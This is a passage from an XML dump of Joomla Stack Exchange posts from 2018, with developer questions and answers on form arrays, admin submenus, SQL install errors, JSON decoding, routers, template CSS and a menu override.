?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I cannot save more than one selection and it does not save with the associated sid. Only the last name selected is saved, and the last sid generated in the form is saved with it. For example, if I only selected the checkbox to book Tom Riddle for French it would instead book Tom Riddle for geography since geography is at the bottom of the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to save the name and associated sid together as a single entry in the database for every option selected. I need to save multiple bookings with one click of the submit button. Is an array the way to do this, or is that only for saving multiple values to a single column in a database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated! Thank you!&lt;/p&gt;&#xA;" OwnerUserId="10936" LastActivityDate="2018-02-26T14:59:26.137" Title="How can I save multiple dynamic values using check boxes?" Tags="|joomla-3.x|php|component|mysql|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22473" PostTypeId="2" ParentId="22472" CreationDate="2018-02-26T14:59:26.137" Score="1" Body="&lt;p&gt;You need to have distinguishable variables for each entry. Since you already have &lt;code&gt;$i&lt;/code&gt; as kind of a loop counter, you can use it as an array index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;jform[name]&quot; value=&quot;&amp;lt;?php echo $student_item-&amp;gt;name; ?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo $student_item-&amp;gt;name; ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;jform[sid]&quot; value=&quot;&amp;lt;?php echo $item-&amp;gt;sid; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;jform[entry][&amp;lt;?php echo $i; ?&amp;gt;][name]&quot; value=&quot;&amp;lt;?php echo $student_item-&amp;gt;name; ?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo $student_item-&amp;gt;name; ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;jform[entry][&amp;lt;?php echo $i; ?&amp;gt;][sid]&quot; value=&quot;&amp;lt;?php echo $item-&amp;gt;sid; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will then get a single array &lt;code&gt;entry&lt;/code&gt;, which elements again are arrays containing one name and sid each.&lt;/p&gt;&#xA;" OwnerUserId="292" LastActivityDate="2018-02-26T14:59:26.137" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22474" PostTypeId="1" CreationDate="2018-02-26T16:18:51.870" Score="3" ViewCount="459" Body="&lt;p&gt;I've been using K2 since Joomla 1.5. I noticed that in recent versions Joomla has done a lot of improvements to its content system, so I decide to switch back to use vanilla Joomla com_component for my latest project. What I want is simply an article list page displaying only an intro image and article title for each article that is in a category, which upon clicking will lead to the article's content page. To my surprise, it seems there is no simple way to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, the &quot;Category list&quot; menu item type will display an ugly old-fashioned table listing all the articles, I see no way to easily add intro image to this list; On the other hand, &quot;category blog&quot; will always show the full content of articles unless I choose to hide intro text and add a &quot;readmore&quot; &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; at the beginning of every article, which is a lot of extra work. Very disappointing! Did I miss anything here or should I just switch back to use 3rd party article component extensions like zoo or k2?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="115" LastEditDate="2018-02-27T14:27:23.060" LastActivityDate="2018-08-28T21:00:27.107" Title="Is there still no convenient way to hide an article's content on the category blog page?" Tags="|joomla-3.x|k2|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22475" PostTypeId="1" AcceptedAnswerId="22477" CreationDate="2018-02-26T20:19:49.753" Score="5" ViewCount="1226" Body="&lt;p&gt;I've been racking my brain how to add links to all the views of my component in the shiny new Joomla4 backend; I used to do it via JSubmenuHelper, but that, apparently being deprecated also before, has now been completely removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried what's mentioned here:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4090/how-do-i-apply-jhtmlsidebar-to-add-a-sidebar-to-my-admin-view&quot;&gt;How do I apply JHtmlSidebar to add a sidebar to my admin view?&lt;/a&gt; , i.e., in the views, I call first the addSubmenu function of the helper (which in turn uses JHtmlSidebar::addEntry),  then JHtmlSidebar::render in my view.html.php (in the display method of the JViewLegacy-derived class there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't get any menu entries for my component. The &quot;default&quot; view shows up fine, but I don't get submenu entries or tabs to link to the other views of my component. There are no errors in the browser or in the logs; I just don't get any indication of the submenu on the left.&#xA;Edit: I don't get it to run with JHtmlSidebar in J3 as well. There must be something I'm missing. Here's my code:&#xA;In the view.html.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class mycomponentViewblocklist extends JViewLegacy&#xA;{&#xA;  function display($tpl = null) {&#xA;    // other stuff...&#xA;    mycomponentHelper::addSubmenu('myview');&#xA;    $this-&amp;gt;addToolBar();&#xA;    $this-&amp;gt;sidebar = JHtmlSidebar::render();&#xA;    parent::display($tpl);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In helpers/mycomponent.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class mycomponentHelper extends JHelperContent&#xA;{&#xA;  public static function addSubmenu($vName)&#xA;  {&#xA;    JHtmlSidebar::addEntry(&#xA;        JText::_('COM_MYCOMPONENT_SUBMENU_MYVIEW'),&#xA;        'index.php?option=com_mycomponent&amp;amp;view=myview',&#xA;        $vName == 'myview'&#xA;    );&#xA;    // ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not work in J3 and J4, while using JSubMenuHelper::addEntry instead of JHtmlSidebar::addEntry does work in J3. What else is required? Do I need to add something in my tmpl folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see any obvious difference to what I'm doing in comparison to the com_banner component, which gets a nice submenu with all its four views as link entries (edit: see my answer below about the submenu; I misunderstood where that came from; but it also has a nice sidebar on the left in addition to the submenu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all the announcement of Joomla4, so far I have seen relatively little in terms of migration guides for J3 / J2 components, could anybody point me in some direction there maybe, if this could help the issue here?&lt;/p&gt;&#xA;" OwnerUserId="12275" LastEditorUserId="12275" LastEditDate="2018-02-28T08:05:20.837" LastActivityDate="2018-02-28T08:05:20.837" Title="Replacing JSubmenuHelper with JHtmlSidebar / Administrative menu in Joomla 4" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22477" PostTypeId="2" ParentId="22475" CreationDate="2018-02-27T07:16:00.040" Score="3" Body="&lt;p&gt;Finally figured it out - my problem is a missing placeholder in the tmpl (which &lt;em&gt;was not required for JSubMenuHelper&lt;/em&gt;). Added this to my tmpl/default.php, now it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;j-sidebar-container&quot; class=&quot;span2&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;sidebar; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The submenu in banners I was wondering about is actually done via the manifest file, there are entries like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;administration&amp;gt;&#xA;  &amp;lt;menu img=&quot;class:banners&quot;&amp;gt;com_banners&amp;lt;/menu&amp;gt;&#xA;  &amp;lt;submenu&amp;gt;&#xA;    &amp;lt;!--&#xA;      Note that all &amp;amp; must be escaped to &amp;amp;amp; for the file to be valid&#xA;      XML and be parsed by the installer&#xA;    --&amp;gt;&#xA;    &amp;lt;menu&#xA;      link=&quot;option=com_banners&quot;&#xA;      view=&quot;banners&quot;&#xA;      img=&quot;class:banners&quot;&#xA;      alt=&quot;Banners/Banners&quot;&#xA;      &amp;gt;&#xA;      com_banners_banners&#xA;    &amp;lt;/menu&amp;gt;&#xA;    &amp;lt;menu&#xA;      link=&quot;option=com_categories&amp;amp;amp;extension=com_banners&quot;&#xA;      view=&quot;categories&quot;&#xA;      img=&quot;class:banners-cat&quot;&#xA;      alt=&quot;Banners/Categories&quot;&#xA;      &amp;gt;&#xA;      com_banners_categories&#xA;    &amp;lt;/menu&amp;gt;&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are responsible for creating the submenu both in J3 and J4. &lt;/p&gt;&#xA;" OwnerUserId="12275" LastEditorUserId="12275" LastEditDate="2018-02-27T07:46:10.333" LastActivityDate="2018-02-27T07:46:10.333" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22479" PostTypeId="1" CreationDate="2018-02-28T18:38:15.103" Score="1" ViewCount="862" Body="&lt;p&gt;i've create several custom fields and i can show all them easy in articles, or articles list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i would need render them in mod_articles_category override but i cannot reach the target so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible in some way?&lt;/p&gt;&#xA;" OwnerUserId="12284" LastActivityDate="2020-12-29T15:11:54.727" Title="Joomla custom fields in mod_articles_category" Tags="|custom-field|mod-articles-category|joomla3.8.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22480" PostTypeId="1" CreationDate="2018-02-28T19:43:18.137" Score="1" ViewCount="233" Body="&lt;p&gt;I am using the following code for creating tables in my &lt;code&gt;.sql&lt;/code&gt; file as part of a module.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `#__gruposlocales` (&#xA;    `id` int(11) NOT NULL AUTO_INCREMENT,&#xA;    `name` varchar(255) NOT NULL,&#xA;    `latitude` float(10,6) NOT NULL DEFAULT '255.000000',&#xA;    `longitude` float(10,6) NOT NULL DEFAULT '255.000000',&#xA;&#xA;  PRIMARY KEY (`id`)&#xA;) ENGINE=INNODB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;&#xA;&#xA;INSERT INTO `#__gruposlocales` (`id`, `latitude`, `longitude`) SELECT userid, latitude, longitude FROM `#__community_users`;&#xA;INSERT INTO `#__gruposlocales` (`name`) SELECT name FROM `#__community_groups` WHERE id=ownerid;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I try to install the module, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JInstaller: :Install: Error SQL Unknown column 'latitude' in 'field list'&#xA;  Extension Install: SQL error processing query: DB function failed with error number 1054 &#xA;  Unknown column 'latitude' in 'field list'&#xA;  SQL =&#xA;  &lt;code&gt;INSERT INTO `#__gruposlocales` (`id`, `latitude`, `longitude`) SELECT userid, latitude, longitude FROM `#__community_users`;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is my code wrong? Could anybody help to fix this, please?&lt;/p&gt;&#xA;" OwnerUserId="12232" LastEditorUserId="12352" LastEditDate="2018-07-20T20:04:18.940" LastActivityDate="2018-08-19T21:01:45.537" Title="Error when populating a database table while installing a module" Tags="|jdatabase|custom-module|sql|jinstaller|" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="22481" PostTypeId="1" CreationDate="2018-02-28T20:13:49.083" Score="0" ViewCount="1289" Body="&lt;p&gt;I need to get the values of a custom field list type &#xA;with sql. I extract the fieldparams value using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT  fieldparams,id  FROM #__fields where context='com_content.article' and state=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And i get a string like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;multiple&quot;:&quot;0&quot;,&quot;options&quot;:{&#xA;&quot;options0&quot;:{&quot;name&quot;:&quot;name1&quot;,&quot;value&quot;:&quot;value1&quot;},&#xA;&quot;options1&quot;:{&quot;name&quot;:&quot;name2&quot;,&quot;value&quot;:&quot;value2&quot;}}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I convert this string into an array?&lt;/p&gt;&#xA;" OwnerUserId="12285" LastEditorUserId="115" LastEditDate="2018-03-01T12:22:52.543" LastActivityDate="2018-03-02T11:50:56.030" Title="How to convert JSON string to array?" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="1" ClosedDate="2018-03-03T00:12:58.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="22483" PostTypeId="2" ParentId="22385" CreationDate="2018-03-01T10:46:22.287" Score="0" Body="&lt;p&gt;I did something like this on my older J3 components:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;class MyComponentRouter extends JComponentRouterBase&#xA;{&#xA;    /**&#xA;     * Build method for URLs&#xA;     * This method is meant to transform the query parameters into a more human&#xA;     * readable form. It is only executed when SEF mode is switched on.&#xA;     *&#xA;     * @param   array  &amp;amp;$query  An array of URL arguments&#xA;     *&#xA;     * @return  array  The URL arguments to use to assemble the subsequent URL.&#xA;     *&#xA;     * @since   3.3&#xA;     */&#xA;    public function build(&amp;amp;$query)&#xA;    {&#xA;        $segments = array();&#xA;        $view     = null;&#xA;&#xA;        if (isset($query['task']))&#xA;        {&#xA;            $taskParts  = explode('.', $query['task']);&#xA;            $segments[] = implode('/', $taskParts);&#xA;            $view       = $taskParts[0];&#xA;            unset($query['task']);&#xA;        }&#xA;&#xA;        if (isset($query['view']))&#xA;        {&#xA;            $segments[] = $query['view'];&#xA;            $view       = $query['view'];&#xA;            unset($query['view']);&#xA;        }&#xA;&#xA;        if (isset($query['id']))&#xA;        {&#xA;            if ($view !== null)&#xA;            {&#xA;                $segments[] = $query['id'];&#xA;            }&#xA;            else&#xA;            {&#xA;                $segments[] = $query['id'];&#xA;            }&#xA;&#xA;            unset($query['id']);&#xA;        }&#xA;&#xA;        return $segments;&#xA;    }&#xA;&#xA;    /**&#xA;     * Parse method for URLs&#xA;     * This method is meant to transform the human readable URL back into&#xA;     * query parameters. It is only executed when SEF mode is switched on.&#xA;     *&#xA;     * @param   array  &amp;amp;$segments  The segments of the URL to parse.&#xA;     *&#xA;     * @return  array  The URL attributes to be used by the application.&#xA;     *&#xA;     * @since   3.3&#xA;     */&#xA;    public function parse(&amp;amp;$segments)&#xA;    {&#xA;        $vars = array();&#xA;&#xA;        // View is always the first element of the array&#xA;        $vars['view'] = array_shift($segments);&#xA;&#xA;        while (!empty($segments))&#xA;        {&#xA;            $segment = array_pop($segments);&#xA;&#xA;            // If it's the ID, let's put on the request&#xA;            if (is_numeric($segment))&#xA;            {&#xA;                $vars['id'] = $segment;&#xA;            }&#xA;            else&#xA;            {&#xA;                $vars['task'] = $vars['view'] . '.' . $segment;&#xA;            }&#xA;        }&#xA;&#xA;        return $vars;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2018-03-01T10:46:22.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22484" PostTypeId="2" ParentId="22481" CreationDate="2018-03-01T10:58:49.953" Score="5" Body="&lt;pre&gt;&lt;code&gt;$your_array = json_decode($json_data, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More about the decode options:&#xA;&lt;a href=&quot;http://php.net/manual/de/function.json-decode.php&quot; rel=&quot;noreferrer&quot;&gt;http://php.net/manual/de/function.json-decode.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More about JSON: &lt;a href=&quot;http://php.net/manual/en/ref.json.php&quot; rel=&quot;noreferrer&quot;&gt;http://php.net/manual/en/ref.json.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2018-03-02T11:50:56.030" LastActivityDate="2018-03-02T11:50:56.030" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22486" PostTypeId="1" AcceptedAnswerId="22487" CreationDate="2018-03-01T14:18:14.060" Score="2" ViewCount="66" Body="&lt;p&gt;I usually build Joomla templates in which I do not expect the admin to add their own modules and components.  As such, my CSS styles just need to work on the components and modules I have built or included, and can be kept fairly minimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm currently building a template for someone who does like to play around with third party components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, I was wondering if there is any sort of default Joomla CSS that means these will usually render okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importing Bootstrap's CSS improves the look-and-feel of the core modules, and seems at first the obvious one, but I've looked at the core templates to see how they do it and they don't seem to include this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Beez&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Imports templates/system/css/system.css&lt;/li&gt;&#xA;&lt;li&gt;Bootstrap CSS is an optional setting (and is off by default)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Protostar&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Imports a dozen or so scripts from ../../../media/jui/less/&lt;/li&gt;&#xA;&lt;li&gt;Contains JHtml::_('bootstrap.loadCss', false, $this-&gt;direction); - which I believe only loads the RTL CSS, and this is optional and off by default.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Extending the system template would seem another logical approach, but the core templates do not appear to do this beyond the single import on Beez.  That said, I suspect the system template may contain what I want, but I can't find much information of what it is actually for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding the system.css file (as per the Beez template) does not make, say, the core login module look tidy in the way the Bootstrap CSS does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can style the obvious elements - headings, tables, fieldsets, fields etc... - but that feels easy to miss things.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What CSS files should I be importing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I've found the following are all useful in terms of core Joomla modules.  These, plus a small bit of bespoke CSS seems to get everything looking fine without bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', 'media/jui/css/icomoon.css', array('version' =&amp;gt; 'auto'));&#xA;JHtml::_('stylesheet', 'templates/system/css/system.css', array('version' =&amp;gt; 'auto'));&#xA;JHtml::_('stylesheet', 'templates/system/css/general.css', array('version' =&amp;gt; 'auto'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2018-03-01T21:45:22.240" LastActivityDate="2018-03-01T21:45:22.240" Title="What css do core and third party extensions expect a template to have?" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22487" PostTypeId="2" ParentId="22486" CreationDate="2018-03-01T14:31:28.347" Score="1" Body="&lt;p&gt;This is one of those things where there are pros and cons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that it is &lt;strong&gt;not&lt;/strong&gt; up to you (as the extension developer) to dictate the design of a site. The design should be dictated by the template, and the template alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one of the pros of using Bootstrap classes in your extension, which the template developer can then override as they wish and your extension will fit in with the rest of the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The down side however is that Joomla is then coupled to Bootstrap and performance nuts, myself included, hate Bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to sum it up, use the Bootstrap classes and let the template take care of the rest. If the web master wishes to change the styling of your extension, they can create a template override or add their own CSS to &lt;code&gt;user.css&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-03-01T14:31:28.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22488" PostTypeId="2" ParentId="22474" CreationDate="2018-03-01T17:27:39.620" Score="1" Body="&lt;p&gt;I could be wrong about this, because it's not something I've attempted to set up, but I assume you could do this with a custom blog layout template. You can specify the number of characters of intro text (to 0) and include the featured image. While this isn't exactly simple, you set it up once and then don't have to worry about it again.&lt;/p&gt;&#xA;" OwnerUserId="6991" LastActivityDate="2018-03-01T17:27:39.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22489" PostTypeId="1" AcceptedAnswerId="22502" CreationDate="2018-03-01T20:09:55.753" Score="0" ViewCount="112" Body="&lt;p&gt;Assuming I have an earlier copy of a Joomla database can I simply copy the jos_users, jos_userkeys, jos_usernotes, jos_userprofiles and jos_usergroup_map tables to a newer copy of the database - by using the phpadmin export feature, then reimporting into the newer database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would save me some time in using Akeeba to restore the entire site. (I had used Arra Usermigrate to export the users and neglected to export the User IDs. Then when I imported the users into the new site an extension that uses the IDs to match the user to their submissions didn't work because the imported users have different IDs. Not a big deal to restore from backup and start again but this would save me some time. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8424" LastActivityDate="2018-04-03T13:01:32.983" Title="Copy users from one Joomla db to a slightly newer one" Tags="|joomla-3.x|mysql|phpmyadmin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22490" PostTypeId="1" CreationDate="2018-03-01T22:11:32.510" Score="1" ViewCount="29" Body="&lt;p&gt;I did a backup (using akeeba) on the development server then used akeeba kickstart to restore from that backup on the production server. Everything from that restoration seems to be working fine, except for layout overrides. I had previously done a from scratch install of Joomla, installed the template, and it's the same results. Layout overrides aren't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both instances are Joomla version 3.8.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the Joomla settings for layout override are the same (selected layout on article options) both articles in question have menu items with the same exact settings (also tried it without menu items for these articles), and the layout override files are in place in both instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why layout override isn't working on the production server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditDate="2018-03-01T22:54:19.173" LastActivityDate="2018-03-01T23:35:59.460" Title="layout overrides working on development server but not on production server" Tags="|overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22492" PostTypeId="2" ParentId="22490" CreationDate="2018-03-01T23:35:59.460" Score="1" Body="&lt;p&gt;The issue was caused by capitol letters in the override file names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume some setting on the production server is different than on dev server though because it's the same Joomla.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2018-03-01T23:35:59.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22493" PostTypeId="2" ParentId="18812" CreationDate="2018-03-02T11:34:36.543" Score="2" Body="&lt;p&gt;Codemirror is included in joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the formfield &quot;editor&quot; and select codemirror with editor=&quot;Codemirror&quot;. Take a look at &lt;a href=&quot;https://docs.joomla.org/Editor_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Editor_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12289" LastActivityDate="2018-03-02T11:34:36.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22494" PostTypeId="2" ParentId="22447" CreationDate="2018-03-02T11:35:45.913" Score="2" Body="&lt;p&gt;After I saw the answer of Joey, I could understand what he wanted to achieve.&#xA;This is very easy to get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) create a template override for menu module:&#xA;yourtemplate/html/mod_menu/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) copy the content of modules/mod_menu/tmpl/default.php to your override (or copy the file)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) modify your override like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_menu&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;$id = '';&#xA;&#xA;if ($tagId = $params-&amp;gt;get('tag_id', ''))&#xA;{&#xA;    $id = ' id=&quot;' . $tagId . '&quot;';&#xA;}&#xA;&#xA;// The menu class is deprecated. Use nav instead&#xA;?&amp;gt;&#xA;&amp;lt;ul class=&quot;nav menu&amp;lt;?php echo $class_sfx; ?&amp;gt;&quot;&amp;lt;?php echo $id; ?&amp;gt;&amp;gt;&#xA;&amp;lt;?php &#xA;$child = false; // ADD THIS&#xA;foreach ($list as $i =&amp;gt; &amp;amp;$item)&#xA;{&#xA;    $class = 'item-' . $item-&amp;gt;id;&#xA;&#xA;    if ($item-&amp;gt;id == $default_id)&#xA;    {&#xA;        $class .= ' default';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;id == $active_id || ($item-&amp;gt;type === 'alias' &amp;amp;&amp;amp; $item-&amp;gt;params-&amp;gt;get('aliasoptions') == $active_id))&#xA;    {&#xA;        $class .= ' current';&#xA;    }&#xA;&#xA;    if (in_array($item-&amp;gt;id, $path))&#xA;    {&#xA;        $class .= ' active';&#xA;    }&#xA;    elseif ($item-&amp;gt;type === 'alias')&#xA;    {&#xA;        $aliasToId = $item-&amp;gt;params-&amp;gt;get('aliasoptions');&#xA;&#xA;        if (count($path) &amp;gt; 0 &amp;amp;&amp;amp; $aliasToId == $path[count($path) - 1])&#xA;        {&#xA;            $class .= ' active';&#xA;        }&#xA;        elseif (in_array($aliasToId, $path))&#xA;        {&#xA;            $class .= ' alias-parent-active';&#xA;        }&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;type === 'separator')&#xA;    {&#xA;        $class .= ' divider';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        $class .= ' deeper';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;parent)&#xA;    {&#xA;        $class .= ' parent';&#xA;    }&#xA;&#xA;    if($child){ // ADD THIS&#xA;        $class .= ' child-class';&#xA;    }&#xA;&#xA;    echo '&amp;lt;li class=&quot;' . $class . '&quot;&amp;gt;';&#xA;&#xA;    switch ($item-&amp;gt;type) :&#xA;        case 'separator':&#xA;        case 'component':&#xA;        case 'heading':&#xA;        case 'url':&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_' . $item-&amp;gt;type);&#xA;            break;&#xA;&#xA;        default:&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'default_url');&#xA;            break;&#xA;    endswitch;&#xA;&#xA;    // The next item is deeper.&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        $child = true; // ADD THIS&#xA;        echo '&amp;lt;ul class=&quot;nav-child unstyled small&quot;&amp;gt;';&#xA;    }&#xA;    // The next item is shallower.&#xA;    elseif ($item-&amp;gt;shallower)&#xA;    {&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;        echo str_repeat('&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;', $item-&amp;gt;level_diff);&#xA;        $child = false; // ADD THIS&#xA;    }&#xA;    // The next item is on the same level.&#xA;    else&#xA;    {&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we are checking if we are in child scope by setting the $child var to true. If $child is true, we add our child-class to the $class string. If we leave the $child scope, we change $child back to false.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2018-03-02T11:35:45.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22495" PostTypeId="2" ParentId="10181" CreationDate="2018-03-02T16:39:24.370" Score="0" Body="&lt;p&gt;The fix is in the file .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule .* index.php [L]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and save&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go in your browser to: joomla/administrator  and al work again!&lt;/p&gt;&#xA;" OwnerUserId="12290" LastActivityDate="2018-03-02T16:39:24.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
